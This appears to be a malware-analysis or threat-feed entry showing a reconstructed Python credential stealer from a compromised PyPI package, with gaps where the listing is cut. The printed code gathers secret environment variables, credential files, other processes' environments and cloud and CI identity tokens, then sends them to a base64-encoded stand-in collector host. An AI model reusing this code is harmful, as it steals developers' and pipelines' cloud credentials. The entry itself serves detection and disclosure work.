hostile-with-renamed.py
Developer credential sweep with encoded uploadStealer harvests other process environments
SHA-256955dc53aaabc31b2e9cc1bb5ca6d831a055fbdc234b3e065e8685c994ef95536
Also flagged by https://feeds.feedburner.com/TheHackersNews (Attackers Compromise Microsoft's Agent Framework PyPI Package to Steal Cloud Credentials).
Evidence
1# Reconstruction from published SafeDep excerpts; not original release bytes.
2import os as system, glob, json, base64, zlib, urllib.request, urllib.parse
3_ENC = "aHR0cHM6Ly9jb2xsZWN0b3IuZXhhbXBsZS5vcmcvcmVwb3J0"
4
5def send_record(tag, data):
6 try:
7 u = base64.b64decode(_ENC).decode()
8 body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
9 req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "runtime-diagnostics/1"})
10 urllib.request.urlopen(req, timeout=25).read()
11 except Exception:
12 pass
13
14def collect_data():
15 out = {"env": {}, "files": {}, "proc": {}, "ado": {}, "imds": {}, "gh_oidc": {}}
16 out["env"] = {k:v for k,v in system.environ.items() if any(x in k.upper() for x in ("TOKEN", "SECRET", "PASSWORD", "KEY", "AZURE", "AWS", "GITHUB", "OPENAI"))}
17 for pattern in ("~/.azure/*.json", "~/.npmrc", "~/.netrc", "~/.git-credentials", "~/.docker/config.json", "~/.config/pip/pip.conf", "~/.cache/huggingface/token", "/vss-agent/*/.credentials", "/app/.env"):
18 for p in glob.glob(system.path.expanduser(pattern))[:60]:
19 try:
20 out["files"][p] = open(p, "rb").read().decode("utf-8", "replace")
21 except Exception:
22 pass
23 for e in glob.glob("/proc/[0-9]*/environ")[:300]:
24 try:
25 with open(e, "rb") as handle:
26 raw = handle.read().decode("utf-8", "replace")
27 hits = []
28 for kv in raw.split("\x00"):
29 if any(x in kv.upper() for x in ("TOKEN","SECRET","PASSWORD","KEY=","ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER")):
30 hits.append(kv[:2000])
31 out["proc"][e] = hits
32 except Exception:
33 pass
34 at = system.environ.get("SYSTEM_ACCESSTOKEN") or ""
35 oe = system.environ.get("SYSTEM_OIDCREQUESTURI") or ""
36 if oe and at:
37 for suffix, data in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
38 try:
39 req = urllib.request.Request(oe + suffix, data=json.dumps(data).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
40 out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]
41 except Exception:
42 pass
43 for resource in ("https://management.azure.com/", "https://vault.azure.net", "https://graph.microsoft.com/"):
44 try:
45 u = system.environ.get("IDENTITY_ENDPOINT") or system.environ.get("MSI_ENDPOINT") or "http://169.254.169.254/metadata/identity/oauth2/token"
46 req = urllib.request.Request(u + "?api-version=2018-02-01&resource=" + urllib.parse.quote(resource, safe=""), headers={"Metadata": "true", "X-IDENTITY-HEADER": system.environ.get("IDENTITY_HEADER", "")})
47 out["imds"][resource] = urllib.request.urlopen(req, timeout=8).read( …
48:21… tion:
49 pass
50 try:
51 u = system.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
52 t = system.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or system.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
53 if u and t:
54 for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
55 sep = "&" if "?" in u else "?"
56 uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
57 req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
58 out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]
59 except Exception …
70:19… == 0:
71 try:
72 system.setsid()
73 except Exception:
74 pass
75 collect_data()
76 system._exit(0)
77 return
78 except Exception:
79 pass
80 try:
81 import threading
82 t = threading.Thread(target=collect_data)
83 t.daemon = True
84 t.start()
85 except Exception:
86 pass